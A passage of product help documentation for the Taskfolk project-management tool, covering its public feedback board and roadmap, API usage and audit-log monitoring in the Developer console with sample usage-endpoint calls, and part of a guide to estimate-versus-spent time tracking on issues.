support-flavored question, or something you're not yet sure is a real idea. Public is right the moment you want other people to pile weight onto it, because votes are the entire mechanism that moves a post up the board and onto the roadmap. If you want your request to actually influence what gets built, it has to be public. Know the limit too. Visibility is binary. Public or Private, nothing between. There's no "share with just my team" or "show to these three people." It's you-and-the-team, or everyone. ## Voting and reacting to push the best ideas up Voting is the engine of the whole board, so it's worth understanding exactly how it behaves. Each post has an up arrow and a down arrow around a single net score. One vote per user. The UI is optimistic, so the number moves the instant you click, before the server confirms. Click the up arrow and the score goes up by one. Click it again and your vote toggles off, back to neutral. Click the down arrow when you'd already upvoted and it flips: your up is removed and a down applied, a two-point swing. It behaves the way Reddit voting behaves, so your instinct is probably already right. That net score isn't decorative. It drives the **Top** sort in the Community feed, and it ranks the cards inside every column on the Tracking board. So a vote isn't a "like." It's you helping decide the order the Taskfolk team sees things in. Upvote the requests you genuinely want. Downvote the ones you think are a bad direction. Both are real signal. Reactions are the lighter layer. You can react with emoji on posts and on comments, through a reaction bar with a picker popover, and reactions toggle on and off per user just like votes. A reaction is a quick "same" or "this made me laugh" that doesn't carry the ranking weight a vote does. Use votes to shape the roadmap. Use reactions for texture in the conversation. If you're signed out, the moment you try to vote, react, comment, or post, a "Join the Taskfolk community" sign-in dialog appears. It's magic-link, no password. The copy reads "Sign in to upvote, comment, and post. It takes a few seconds, no password needed." Reading is open to everyone. Participating asks you to sign in, which is a low bar and keeps voting to one per real person. ## Following the roadmap: the Tracking board and status progression This is the part people mean when they say "public roadmap." Open the **Tracking** tab. ![How to track and vote on feedback - tracking board](/images/blog/how-to-track-and-vote-on-feedback-tracking-board.webp) At the top sits a progress bar labeled "What we've shipped," reading something like "18 of 60 shipped." One honest number for how much of the tracked feedback has actually made it out the door. Below it, the board lays out horizontal status columns: **Under review**, **Planned**, **In progress**, **Shipped**, and **Declined**. Each column stacks its cards ranked by votes, most-wanted at the top, and each column has its own **Load more** so a busy column doesn't crowd out the others. Notice what's missing from the board: the **Open** status. Untriaged posts, the ones that just landed and haven't been looked at yet, live only in the Community feed. They never appear on the Tracking board. The board is specifically the triaged pipeline, which is why it reads as a roadmap and not a firehose. The status progression is the roadmap logic, and it's a clean pipeline: ```mermaid stateDiagram-v2 state "Under review" as UR state "In progress" as IP [*] --> Open: post created Open --> UR: team acknowledges UR --> Planned: team decides to build it Planned --> IP: someone picks it up IP --> Shipped: released UR --> Declined: the answer is no ``` A post starts at Open (in the feed). When the team acknowledges it, it moves to Under review. If they decide to do it, Planned. When someone picks it up, In progress. When it ships, Shipped. And if the answer is no, it goes to Declined, which is its own kind of honesty. A "no, and here's the column that says so" beats silence. Now the limits, because this is where expectations usually break. There is no drag-and-drop. There is no manual reordering. You cannot move a card. Cards are auto-ranked by votes within their column, and only Taskfolk operators change a post's status. As a regular user, you influence the board entirely through voting and posting, never by dragging. That's deliberate: the ranking reflects real demand, not whoever touched the board last. There's also no separate roadmap page or timeline view. The roadmap is these columns plus the Changelog. That's it. If you were expecting a Gantt-style product timeline, adjust. The roadmap here is expressed through status, and it's more honest for it. Prioritizing your own backlog by demand is a related discipline, and if you want the thinking behind ordering work by what people actually want, [how to prioritize your backlog](/docs/how-to-prioritize-your-backlog) covers it. ## The post detail page and official responses from the Taskfolk team Click any post to open its detail page at `/feedback/[slug]`. This is where a request stops being a card and becomes a conversation. The layout gives you the vote control, the Type, Area, and Status chips, the full body, an optional image if the author added one, a reaction bar, and the comment thread. Down the right side runs a rail with the facts: Status, Area, Type, Votes, Posted by, Posted (the date), and, when the post has shipped, a Shipped date. It's the at-a-glance record of where this request stands and how it got there. The comment thread is a real markdown editor, image upload included, so you can reply with a screenshot the same way you posted with one. Threads nest up to depth 3. Past that the reply button hides, which keeps a hot thread from turning into an unreadable staircase. You can edit or delete your own comments. A deleted comment shows as "[removed]" rather than vanishing and leaving replies orphaned. There's a "Load more comments" control when a thread runs long. The part that makes this feel like a roadmap and not a suggestion box is the official response. When someone from the Taskfolk team replies, their comment renders as an "Official response" from the "Taskfolk Team," a highlighted card with the Taskfolk mascot and a gold accent (it carries an `isOfficial` flag under the hood). So when the team says "we're planning this for next quarter" or "here's why we declined it," you can tell it apart from a random user agreeing. That's the difference between a board where the team talks and a board where they just watch. You won't have to refresh obsessively to catch these. Email notifications, best-effort, fire when the Taskfolk team changes your post's status and when someone comments on or replies in your thread. So you post, you go back to work, and Taskfolk emails you when your request moves to Planned or when someone weighs in. Best-effort means don't build a workflow that assumes every email lands, but in practice it's how you stay in the loop without living on the board. ## The Changelog: closing the loop on shipped feedback A Shipped status is a promise kept. The **Changelog** tab is where that promise becomes public proof. The Changelog lists released work newest-first. Each release card can carry a version badge and, more usefully, a "Shipped from your feedback" list linking the actual feedback posts that release delivered, each with its vote count. So a customer can look at a release and see, concretely, "this shipped, and here are the 47 votes' worth of posts that asked for it." That's the loop fully closed. A request came in, gathered votes, moved through the board, and here's the receipt that it landed. This is genuinely the most persuasive part of running a public feedback board and roadmap. It's not the promises in the Planned column that build trust. It's the Changelog showing that Planned columns eventually become Shipped, become released features with a customer's name on the original request. Trust compounds when people can trace an idea from post to product. The honest limit: releases are seeded by operators. The Taskfolk team creates `feedback_releases` rows and links the shipped posts to them (via a `releaseId`). There's no self-serve "publish a release" button, not for you and not for a normal workspace. And if the demo instance you're looking at has no releases seeded, the tab shows "Nothing shipped yet." An empty Changelog isn't broken. It just means nothing has been formally released into it. ## Limits, mistakes, and what only operators can do Let me put all the boundaries in one place so you never go hunting for a button that isn't there. As a regular user, you cannot change a post's status, pin a post, or mark a comment as official. Those are operator-only. And here's the honest, slightly surprising part: even the operator moderation actions that exist in the codebase (set status, pin, toggle official reply, operator-delete) are **not wired into any rendered page**. There is no operator control bar sitting on the post detail page waiting for the right account to log in. The functions exist. No component imports them. So don't expect a hidden "set status," "pin," or "mark official" button to appear for anyone in the normal UI. The only operator surface that actually renders is a read-only triage table at `/admin/feedback`, titled "Feedback triage," listing all feedback across Taskfolk including private posts, with columns for Title, Author, Votes, Status, and Visibility. It's loopback-only (localhost) and double-gated by an operator email allowlist, so it's unreachable by normal customers or a demo account. And it's read-only: it links out to each post's detail page, with no inline controls. Taskfolk operators triage from there and change status through other paths, not through a shiny button you're missing. Now the common mistakes, said plainly. **Treating this as a board for your own customers.** It isn't. It's Taskfolk's board about Taskfolk. If you want to collect feedback from the people who use *your* product, that's what request Forms are for. A form turns external input into a triaged issue in your own workspace, which is a completely different and correct tool for the job. ![The Forms tab inside a Taskfolk project showing the list of request-intake forms, each with a shareable public link. This is the tool to use for collecting feedback from your own customers, as opposed to Taskfolk's platform-wide feedback board.](/images/blog/how-to-set-up-a-request-form-forms-list.webp) Start with [how to set up a request form](/docs/how-to-set-up-a-request-form), and see [turn a request form into a triaged issue](/blog/turn-a-request-form-into-a-triaged-issue) for the flow from submission to something on your board. **Expecting guaranteed spam filtering.** The AI moderation gate is fail-open. If no AI provider is configured, it lets everything through. It catches obvious junk when it's running, but don't treat it as a wall. **Expecting drag-to-reorder.** There's no dragging on the Tracking board. Ranking is by votes, and status is operator-set. If you want your idea higher, get it more votes. A few smaller truths worth holding. Voting is up/down with one net score, so a downvote genuinely lowers a post; it's not a one-way like counter. Comment threads cap at depth 3. Private is private to you plus the team, with no share-with-a-group middle ground. Feedback notifications are email-only and best-effort, covering status changes and comments. If you take one idea away, take the split. Taskfolk's feedback community is where you shape *Taskfolk*. Taskfolk's request Forms are where you collect input on *your* product. Using the right one for each keeps your signal clean. If you want the bigger picture of how agents and humans move that work forward once it's captured, [what is agentic project management](/blog/what-is-agentic-project-management) sets the frame. Open `/feedback`, sort by Top, and spend five minutes reading before you post your first request. That habit alone is worth more than any button on the page. --- # How to track API usage and audit logs URL: https://taskfolk.ai/docs/how-to-track-api-usage-and-audit-logs Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: API, security, AI agent management, AI agents, how-to, integrations, developer Track API key usage and read the audit log in Taskfolk: Usage tab charts, the Audit lifecycle log, per-key rate limits, and what each surface will not tell you. You handed an API key to an agent last week. Now something looks off in project WEB. A ticket you did not touch moved from Backlog to Done. No comment, no obvious reason. Before you accuse anyone, human or machine, you want to know what that key has actually been doing: how many calls it makes, whether it errors, whether someone changed a webhook while you were not watching. That is what the Developer console's Usage and Audit tabs are for. Getting api usage and audit log project management right is mostly about knowing which of those two tabs answers which question, and which one never will. Here is the short version before the long one. Usage tells you how much traffic your workspace's API is taking and how much of it is failing. Audit tells you who created, revoked, or changed keys, webhooks, and OAuth clients, and when an anomaly fired. Neither one tells you "the agent moved WEB-12 to Done." That fact lives in a third place: the issue's own Activity feed. Keep those three surfaces straight and you stop hunting in the wrong tab at exactly the moment you are stressed. One thing to hold onto from the start: both tabs are ClickHouse-backed and best-effort. That buys you uptime and costs you a sliver of completeness. I will come back to the bill later. ## What the api usage and audit log project management view actually covers Two questions, two homes. ![The Audit tab: filter chips (All, api_key.*, webhook.*, oauth.*, anomaly.detected) over the Time, Actor, Kind, and Payload columns.](/images/blog/how-to-track-api-usage-and-audit-logs-audit-table.webp) Usage answers volume and health. How many requests came in this week? What fraction errored? Which endpoints are getting hammered, and how ugly is the slow tail? If you just wired up an integration, this is where you confirm it behaves: steady request count, near-zero errors, latency that does not spike. Audit answers lifecycle. Who minted this key? Who revoked that one? Who changed a key's rate limit at 2am? Did an OAuth client register that you do not recognize? Did the anomaly detector fire because a key suddenly started deleting things in bulk? Each of those is a discrete event with an actor, a kind, and a JSON payload. The trap: people open Audit expecting to see "agent moved WEB-12 to Done" and it is not there. It was never going to be there. The Audit tab logs API-key, webhook, and OAuth lifecycle events, plus anomalies. It does not log issue field changes. Those live in the append-only Activity trail on each issue's detail page. So the real mental model is three surfaces, not two: ```mermaid flowchart TD Q[What do you want to know?] --> T[How much traffic, how healthy] Q --> L[Who touched keys, webhooks, OAuth] Q --> W[What changed on an issue] T --> U[Usage tab] L --> A[Audit tab] W --> F[Issue Activity feed] ``` Usage for traffic and errors. Audit for credential and integration lifecycle. The issue Activity feed for the work an agent actually did. ## Open the Developer console (and who is allowed in) The console lives at `/w/[workspace]/knowledge/developer`. Swap in your workspace slug and you land on a panel that describes itself plainly: "API keys, skills, webhooks, and usage for this workspace." It sits under the workspace, not under a single project, so everything here is workspace-wide. ![The Developer console overview with the tab strip across the top: Overview, API Reference, SDK, Keys, Skills, Webhooks, Apps, Usage, Audit, and Marketplace.](/images/blog/how-to-use-the-rest-api-developer-overview.webp) Now the part that catches people. The whole Developer panel is gated on the `workspace.edit_settings` permission. In practice that means only owner and admin roles get in. If you are a member or a viewer and you paste that URL, the server does not hand you a stripped-down view or an empty state. It redirects you to the workspace home. There is no read-only usage view for regular teammates. So when a developer on your team says "I can't see the API usage," that is not a bug. That is the permission model. Bump their role, or pull the numbers for them yourself. Once you are in, the tabs at the top switch you between Usage and Audit. The same strip holds Keys, which is where the rate-limit control lives, and where I am sending you later. The tab is in the URL, so `?tab=usage` and `?tab=audit` are bookmarkable and shareable with anyone who also has admin. If you have not created a key or called an endpoint yet, [how to use the REST API](/docs/how-to-use-the-rest-api) covers that ground first and pairs naturally with this. ## Read the Usage tab: stat tiles and the date range Start by choosing your window. Three buttons sit at the top: Last 7d, Last 30d, Last 90d. The active one wears the yellow signal style, so you always know which range you are looking at. Click a different range and it re-runs the rollup against ClickHouse, showing a small "Loading…" hint while the query is in flight. Match the window to the question. Debugging something from yesterday? 7d. Watching a slow trend? 90d. ![The Usage tab showing the Last 7d/30d/90d range buttons, the four stat tiles (Requests, Errors, Error rate, Peak p95), and the Requests over time, Error rate over time, and Top endpoints charts. This is the screen you use to confirm an integration is healthy and to spot the day and endpoint behind an error spike.](/images/blog/how-to-track-api-usage-and-audit-logs-usage-tab.webp) Under the range buttons are four stat tiles. Read them left to right. - **Requests** is the total call count in the window. - **Errors** is how many failed. This tile turns pink the moment it goes above zero, so a pink Errors tile is your cue that something is off. - **Error rate** expresses that as a percentage to two decimal places. It is the number you actually want to track over time, because raw error counts scale with traffic and the rate does not. - **Peak p95** is a latency figure in milliseconds. Peak p95 deserves a second read, because it is easy to misread. It is not a single p95 computed across the whole window. It is the maximum of each day's p95 latency across the days in the window. So if six days sat at 120ms and one bad day spiked to 900ms, Peak p95 reads 900ms. That is deliberate. It surfaces your worst day instead of letting a smooth average bury it. When it looks high, go find the day. A concrete read. You are checking the agent you handed a key to on WEB. You pick Last 7d and see Requests 4,120, Errors 0, Error rate 0.00%, Peak p95 180ms. That is a well-behaved integration. Steady volume, nothing failing, latency tight. Now imagine Errors sitting pink at 47 and Peak p95 reading 2,400ms. Different day. You would move straight to the charts to find out which day and which endpoint. ## Read the three usage charts Below the tiles are three charts. Together they turn "something is wrong" into "here is what is wrong." Requests over time is a filled yellow area chart. The x-axis shows MM-DD dates, the y-axis uses compact notation (k for thousands, M for millions), and hovering gives you a real tooltip with the exact count for that day. There is also a small yellow badge reading "{n} days" that tells you how many days actually returned data. That badge is more useful than it looks. If you picked Last 30d but the badge says "6 days," your key has only been active for six days, and the flat stretch before that is not "traffic dropped." It is "nothing existed yet." Error rate over time is the same shape in pink, with a percentage y-axis, computed per day as errors divided by requests. A flat line along the bottom is what healthy looks like. A bump on a specific day is your timestamp. Top endpoints is a horizontal bar breakdown in cyan, up to ten endpoints ranked by request volume. Each bar shows the endpoint's request count in compact form, and when that endpoint had errors, it appends the error percentage with an "err" suffix, so you might read `1.2k · 3.4% err`. Endpoints that could not be labeled show as "(unknown)". If the window is empty, it reads "No endpoint activity in this window." Here is how you use the three together. A spike in the error-rate chart on, say, 07-12 gives you the day. You look at Top endpoints to see which bar carries an error percentage. When the spike lines up with one endpoint showing "err," that is your smoking gun. You now have the day and the endpoint, and you can go read that handler or the agent's code path against it. One thing that trips people: 429 responses count as errors here. If your agent is hitting a rate limit, it shows up as elevated error rate, folded in with genuine failures rather than broken out on its own. So if the error rate climbs but the endpoints look fine and nothing is throwing, suspect rate limiting and go check the cap. ## When the Usage tab is empty (and what it will not show) The empty and error states are honest. Knowing them saves you from deciding the tab is broken. - "No API usage yet" with the line "Once your API keys start making requests, usage charts will appear here" is the normal state for a fresh key nobody has called. Not an error. Nothing has happened. - "Could not load usage data. Try again shortly." means the ClickHouse query itself failed. The analytics store hiccuped, not that you have no traffic. Wait a moment and reload. Now the real limits, so you do not go looking for things that are not there. The Usage tab reads a pre-aggregated table, `papi.api_usage_daily`, so everything is per day. There is no hourly view, no per-request drill-down, no live real-time feed. If you need to know exactly which request failed at 14:32, this tab will not give it to you. Raw per-request rows exist in the backend, but they are not on this tab. And the one that surprises people most: the Usage tab always shows the whole workspace. There is no per-key filter in the UI. So if two agents share a workspace, their traffic is summed here. Do not spend ten minutes hunting for a dropdown that does not exist. To isolate one key, use the per-key usage endpoint instead. It needs a key with the `api_keys:read` scope, takes `from` and `to` as ISO dates (defaults: the last 30 days, capped at 90), and returns a per-day series: ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/acme/api-keys/KEY_ID/usage?from=2026-07-01&to=2026-07-15" \ -H "Authorization: Bearer tfk_live_YOUR_KEY" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/api-keys/KEY_ID/usage?from=2026-07-01&to=2026-07-15", { headers: { Authorization: "Bearer tfk_live_YOUR_KEY" } }, ); const { data } = await res.json(); console.log(data.totals); ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/api-keys/KEY_ID/usage", params={"from": "2026-07-01", "to": "2026-07-15"}, headers={"Authorization": "Bearer tfk_live_YOUR_KEY"}, ) print(res.json()["data"]["totals"]) ``` The response is one point per day plus totals, with p50/p95/p99 latency per day: ```json { "data": { "key_id": "0197f3a1-2b4c-7d5e-8f90-1a2b3c4d5e6f", "from": "2026-07-01", "to": "2026-07-15", "granularity": "day", "series": [ { "date": "2026-07-01", "requests": 512, "errors": 0, "p50_ms": 45, "p95_ms": 140, "p99_ms": 320 } ], "totals": { "requests": 4120, "errors": 0, "p95_ms": 180 } } } ``` That, or give each agent its own workspace, is how you separate one agent's traffic from another's. ## Investigate lifecycle events on the Audit tab Switch to Audit and the shape changes completely. Now you are reading a reverse-chronological table, newest first, four columns: Time, Actor, Kind, Payload. Across the top are filter chips: All, api_key.*, webhook.*, oauth.*, anomaly.detected. Click one and it re-queries; the active chip highlights yellow. These are your main tool for cutting noise. Investigating something about keys? Click api_key.* and the rest drops away. Reading the columns takes a second to learn. Actor is compact. It shows "user" plus the first eight characters of the id when a human did it, "key" plus the first eight characters when another API key did it, or a plain dash when neither applies (some system-originated events have no actor). Kind is a color-toned badge so you can scan by type: pink for anomaly, cyan for webhook, purple for oauth, yellow for api_key. Payload shows roughly the first 80 characters of the raw JSON. Enough for the gist, not the whole story. At the bottom, Load more pages through older events with cursor pagination, fifty rows per page, keyed on the last row's timestamp. It reads "Loading…" while fetching. There is no date picker and no free-text search here, so Load more plus the filter chips is the whole navigation kit. If there are no events, you see "No audit events yet" with "API key, webhook, and OAuth lifecycle events will appear here as they happen." On a backend failure, "Could not load audit events." A worked example. Back to that unexpected move on WEB. You suspect a key got revoked or changed around then. Click api_key.*. The table narrows to key lifecycle only. Scan the Time column to the right day, read Actor to see whether a user or another key did it, and check the Kind badge for whether it was a revoke, a settings change, or a rate-limit change. Under a minute, and you know who touched what. The same recent rows also show up as a short list on the Developer Overview tab, a quick "recent developer activity" glance. It is the first few rows of the same query, handy when you want a pulse without opening the full table. ## Open a row for the full event detail The 80-character preview is a teaser. Click any row and a modal opens, titled with the event kind, showing everything. Inside the "Audit event" modal you get Time, the Kind badge again, Actor rendered as the full id (`user:` or `key:` prefixed), Target (the full target id, or a dash if the event had none), and the whole Payload as pretty-printed, indented JSON. This is where you read the real context instead of guessing from a truncated line. This modal is the only place some information lives. Take an anomaly. On the table it just reads "anomaly.detected" with a pink badge, because every anomaly is stored under that single kind. The specific type, whether it was a `delete_surge`, a `multi_ip_key_use`, or an `unauthorized_ip_spike`, is inside the payload, not the kind. The only way to tell one anomaly from another is to open the row and read the JSON. Same for a webhook change or an OAuth grant: the kind gives you the category, the payload gives you the specifics. One honest caveat. The ids in here are raw UUIDs. The table shows the first eight characters, the modal shows the full id prefixed with `user:` or `key:`, but neither resolves to a name or an email. So you read `user:9f3a1c2d...` and have to cross-reference it yourself against your members or keys list to put a face to it. Precise, just not friendly. ## What the Audit tab does not log Read this section slowly, because getting it wrong sends you looking in the wrong place at the worst moment. Here is the exact set of kinds the Audit tab emits, and it is the complete set: - `api_key.created`, `api_key.revoked`, `api_key.rate_limit_changed`, `api_key.settings_changed` - `oauth_client.registered`, `oauth_client.revoked`, `oauth_grant.issued`, `oauth_token.minted`, `oauth_token.revoked` - `anomaly.detected` The `webhook.*` filter chip is reserved for future webhook lifecycle events; it currently returns nothing, because those events are not emitted yet. That is the whole list. Credentials and integrations. Notice what is missing: issue edits, comments, status changes, board moves, member invites, role changes. None of those are logged here. Despite the name, the Audit tab is not a general "audit log of every write action." So where do those things live? Two other places. Per-issue product changes (an assignee change, a status move, a description edit, whether a human did it in the UI or an agent did it through the API) are recorded in that issue's append-only Activity feed on its detail page. That is the surface that will actually tell you "agent moved WEB-12 to Done." If you are auditing what an agent did to your work, that is the feed you want. There is a whole piece on building that habit in [keep an audit trail of AI agent changes](/blog/keep-an-audit-trail-of-ai-agent-changes). Workspace-level and member-level changes (member added, role changed, SSO configured, SCIM sync) go to a separate MariaDB `audit_log` table that is not surfaced anywhere in this Developer Audit tab. Different store, different surface, not shown here. Do not conflate the three. The Developer Audit tab is narrow on purpose: it is the credential and integration ledger, nothing more. And the "best-effort" bill I promised. Audit writes are fire-and-forget. If ClickHouse is down or slow the moment a key gets revoked, the revoke still succeeds, but the audit line can be silently dropped. The mutation happened; the record of it might not. Treat the audit trail as very good, not a legal guarantee of completeness. For anything you need to prove, do not lean on a single dropped-if-unlucky line. ## Set a per-key rate limit (and what enforcement looks like) This control is not on Usage or Audit. It lives on the Keys tab, and it is worth the walk, because rate limiting is often the answer to "why is my error rate climbing." ![The Keys tab with the Rate limit column: each key shows its own cap or Workspace default.](/images/blog/how-to-track-api-usage-and-audit-logs-keys-rate-limit.webp) On the Keys tab, each key shows its cap in a Rate limit column, reading either "N/min" or "Workspace default." To change it, use "Edit rate limit," which opens a field labeled "Requests per minute." Leave it blank and the key falls back to "Workspace default." Set a number and that becomes the key's own ceiling. Enforcement is real and server-side. Taskfolk runs a per-key sliding-window limiter, and when a key has no explicit cap the default is 600 requests per minute. Every `/api/v1` response carries the standard headers, `X-RateLimit-Limit`, `X-RateLimit-Remaining`, and `X-RateLimit-Reset` (a unix timestamp), so a well-written client can watch its own budget and back off before it gets rejected. When a key blows past the limit, the rejection looks like this: ```http HTTP/1.1 429 Too Many Requests X-RateLimit-Limit: 600 X-RateLimit-Remaining: 0 X-RateLimit-Reset: 1752662400 Retry-After: 18 { "error": { "code": "rate_limited", "message": "Rate limit exceeded. Slow down and retry shortly.", "details": { "retry_after_ms": 17400 } } } ``` A polite client reads `Retry-After`, waits, and tries again: ```mermaid sequenceDiagram participant Agent participant API as Taskfolk API Agent->>API: request with Bearer key API-->>Agent: 200 plus rate limit headers Note over Agent,API: Remaining hits 0 within the minute Agent->>API: next request API-->>Agent: 429 rate_limited plus Retry After Agent->>Agent: wait the Retry After seconds Agent->>API: retry API-->>Agent: 200 ``` Two things tie this back to the other tabs. Changing a key's cap emits an `api_key.rate_limit_changed` audit event, so the change shows up on the Audit tab (filter to api_key.* and you will find it). And, as I mentioned, 429 rejections count as errors on the Usage tab. They are not charted as a separate throttled series. So a rate-limited agent reads as elevated error rate. If your Usage error rate is up but your handlers are healthy, raise the cap a little or fix the agent's request pacing, then watch the rate settle. If you are shaping per-agent behavior more broadly, [how to set agent field permissions](/docs/how-to-set-agent-field-permissions) covers restricting what a key can write, which pairs well with capping how fast it writes. ## A practical routine for watching an agent's API activity Turn it into a habit and the three surfaces stop feeling like scattered screens. Weekly, open Usage on Last 7d. Glance at the four tiles. Is the error rate creeping up week over week? Has the endpoint mix shifted, some new endpoint suddenly topping the bar chart that this agent had no business calling? Five minutes, and you catch drift before it becomes an incident. After any change to a key or a webhook, or the moment an anomaly fires, open Audit. Filter to the relevant chip. Confirm the change was you, or someone you expected, and not a surprise. If it is an anomaly, open the row and read the payload to learn whether it was a `delete_surge` or a multi-ip issue, because the kind alone will not say. And when you need the actual work record, the thing that started this whole exercise, go to the issue. Open WEB-12, scroll to its Activity feed, and read the real line: the agent moved it from In Review to Done at a specific time. Usage never had that. Audit never had that. Only the issue's own feed does. That is the whole model. Usage for how much and how healthy. Audit for who touched the credentials and integrations. Issue Activity for what changed in your work. Three questions, three homes. Once you know which is which, you stop wasting time in the wrong one. Open the Developer console now and check the one key you care about most. If you are wiring an agent into Taskfolk for the first time, [how to install Taskfolk as an agent skill](/docs/how-to-install-taskfolk-as-an-agent-skill) is the companion to this monitoring workflow. --- # How to track time on issues URL: https://taskfolk.ai/docs/how-to-track-time-on-issues Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: estimation, how-to, Taskfolk How to track time on issues in Taskfolk: set estimates and spent hours, read the budget bar, set completion, and roll it all up on the project summary. Eight hours logged on a ticket estimated at three. Nobody noticed until sprint review, because the number sat in a field no one opened. If you have run more than a couple of sprints you have lived some version of this. The estimate said one thing, reality said another, and the gap only surfaced when it was too late to do anything about it. That gap is the whole point of time tracking on issues, estimate vs spent. The estimate is a bet you make when you pick up the work. The spent hours are what actually happened. Put the two side by side and you learn something no single number tells you: whether your team's estimates hold up, and where they consistently do not. This guide walks through how Taskfolk handles it, on one issue and rolled up across a project. You will set an estimate and log time from the Time card, read the budget bar and its color staging, set a completion percentage that drives the Gantt bar, and watch it all add up on the Project Summary. You will also learn the honest limits, because a few are worth knowing before you build a habit around them. ## Why estimate vs spent is worth tracking at all An estimate on its own is a guess with no feedback loop. You say "this is about three hours," you do the work, and unless you write down what it actually took, you never find out if three was right. Next time a similar task lands, you guess again from the same blind spot. Spent time closes that loop. When you record that the three-hour task took eight, you are not just filling in a field. You are building the one piece of data that tells you your estimates for that kind of work run low by more than double. Do that across a sprint and the patterns surface. Bug fixes come in fine. Anything touching the schema takes three times what anyone predicts. That is the real value of tracking time on issues, estimate vs spent. Not the individual numbers, the pattern underneath them. Taskfolk does this per issue, with a number you type in yourself. There is no running clock. You estimate when you pick the work up, and you update the spent figure as you go. Throughout the guide I will use the demo project, key WEB, with its board columns Backlog, To Do, In Progress, In Review, and Done. Picture a real ticket in it, something like "Timeline + Summary tab," the kind of feature work that is easy to underestimate because it touches more than it looks like it will. ## Where time tracking on issues lives: the Time card Open any issue and look at the right rail. That column holds the issue's metadata: assignee, status, dates, and near them a card labelled Time. It holds three things, and knowing what each one is for is most of the battle. At the top are two number fields, Estimate (h) and Spent (h). Below them, once there is an estimate to measure against, a Budget bar. At the bottom, a Completion slider with a live percentage readout. That is the whole card. Three controls, three distinct jobs: what you think it will take, what it has taken, and how done it is. ![The issue-detail right-rail Time card showing the Estimate (h) and Spent (h) inputs, a yellow Budget bar with its percentage, and the Completion slider with its live readout. This is where all per-issue time data is entered and read.](/images/blog/how-to-track-time-on-issues-time-card.webp) Keeping these in the right rail is deliberate. Time is metadata about the issue, so it lives next to the other metadata, not buried in the description or a separate tab. You glance at the card while you are looking at the ticket anyway. Nothing to open, nothing to expand. ## Setting an estimate and logging spent hours Both fields take hours. Not minutes. Decimals are fine, so 2 is two hours and 1.5 is an hour and a half. Type the number and click away. There is no save button. Each field commits when it loses focus (on blur), so tabbing to the next control or clicking elsewhere on the page is what writes the value. Here is the part worth knowing. Under the hood Taskfolk stores minutes, not hours. When you type 1.5 into Estimate (h) it converts to 90 and saves that to `estimate_minutes` (the math is literally hours times 60, rounded). Same for Spent, which lands in `spent_minutes`. You never see or type minutes in the interface. You work in hours; the database keeps minutes. This matters later when you read time back through the API, where the fields come out in minutes. ```mermaid flowchart LR A["UI input: 1.5 hours"] --> B["Stored: estimate_minutes = 90"] --> C["API reads back: 90 minutes"] ``` A worked example on a WEB ticket. Say you pick up "Timeline + Summary tab." You reckon it is about three hours, so you type 3 into Estimate (h) and click away. That is your bet on record. Two hours into the work you have not finished, but you want the number current, so you type 2 into Spent (h). The estimate stays at 3, the spent reads 2, and the budget bar (more on it next) shows you two-thirds through your budget with work still to do. Cleared a field by mistake, or want to remove a value? Empty it and click away. An empty field saves as null, not zero, so the estimate genuinely goes back to unset rather than reading "0 hours." What good looks like here is simple. Estimate once, when you actually pick the work up and have looked at it enough to have an opinion. Then update spent as you go, or at least at the end of a working session, so the number is not a wild guess reconstructed at sprint review. The whole system is only as honest as the spent figure you feed it. ## Reading the budget bar: yellow, orange, over The Budget bar does not show up until you have set an estimate above zero. That is intentional. A budget bar with no budget to measure against would be meaningless. Fill in only Spent and no bar appears, just the number. Once there is an estimate, the bar renders as a row labelled Budget with a right-aligned percentage and a thin fill underneath. The percentage is spent divided by estimate, as a percent, capped at 100. So three hours spent against a three-hour estimate reads 100%. The number deliberately never climbs above 100, which sets up the one special case below. The color tells you the state at a glance: - **Yellow**, below 80%. You are comfortably inside the estimate. Nothing to see here. - **Orange**, at 80% or above. You are close to the line. Time to pay attention. - **Pink**, once spent passes the estimate. You are over, and the bar says so. ```mermaid stateDiagram-v2 [*] --> Hidden: no estimate yet Hidden --> Yellow: estimate set Yellow --> Orange: spent reaches 80 percent Orange --> Over: spent passes estimate Over --> Orange: estimate raised or scope cut ``` When you go over budget the row does not read "150%." It shows the word **Over**, in pink. That is a design choice worth respecting. Past 100% the exact percentage stops being useful ("we are 217% over" is just noise), and a single clear word reads faster than a number you have to interpret. The practical question is what to do when the bar turns orange. Orange is not a failure. It is an early warning, and it is the most useful state the bar has. It means you are at 80% of your estimate and the work is probably not 80% done. That is the moment to make a call, before you are over, not after. Either re-estimate honestly (bump the number and note why) or cut the scope so the remaining work fits the time you have left. What you should not do is watch it slide silently to pink and explain it in retro. The point of the color is to give you the choice while you still have one. ## Completion percentage is its own thing Below the budget bar sits the Completion slider, and this is the control people most often misread. It is a separate 0 to 100% slider that moves in steps of 5 (0, 5, 10, and up), with a live monospace percentage readout beside it. Drag it, release, and it commits (on release, not on every tick as you drag, so you are not firing a save on every 5% you pass through). It writes to `completion_pct`. Here is the thing to internalize. Completion is completely independent of estimate and spent. It is not derived from them. Setting spent to 8 hours does nothing to the completion slider, and dragging completion to 90% does nothing to your spent figure. They are three separate facts about the issue, and you set completion by hand based on your own judgment of how done the work is. You can even set completion with no estimate at all. A ticket with no hours on it can still be dragged to 40% done. That is fine and often useful, because "how far along is this" and "how much time has it eaten" are genuinely different questions. Why keep them apart? Because a task can be 90% done and 200% over budget at the same time, and both facts are true and both matter. If completion were auto-derived from spent over estimate, you would lose one of them. You would see a bar at 100% and not know whether it meant "finished" or "out of time." Keeping completion as its own honest judgment call means the budget bar can scream "over" while completion calmly says "almost there," and you get the full picture instead of a blurred average of the two. ## How completion shows up on the timeline That completion number is not just decoration on the issue page. It surfaces on the schedule. Open the project's Timeline (the Gantt view) and each issue is a bar. Inside each bar a colored fill paints from the start edge, and the width of that fill equals the issue's completion percentage. ![The project Timeline (Gantt) view. Each issue renders as a bar, and the colored fill painted from the left edge of a bar is that issue's completion percentage.](/images/blog/gantt-chart-with-dependencies-gantt-overview.webp) Set "Timeline + Summary tab" to 60% on the Time card and its bar on the timeline is 60% filled from the left. The fill is tinted by the issue's type and status tone, so it reads as part of the bar rather than a separate element, and the percentage is folded into the bar's accessible name so screen readers announce it too. One clarification that prevents a real misreading. The fill is progress, not budget burned. It reflects `completion_pct`, the "how done is this" number, and has nothing to do with spent versus estimate. A bar can be 90% filled (nearly done) while that same issue is wildly over its time budget, because those are two different measurements and the timeline 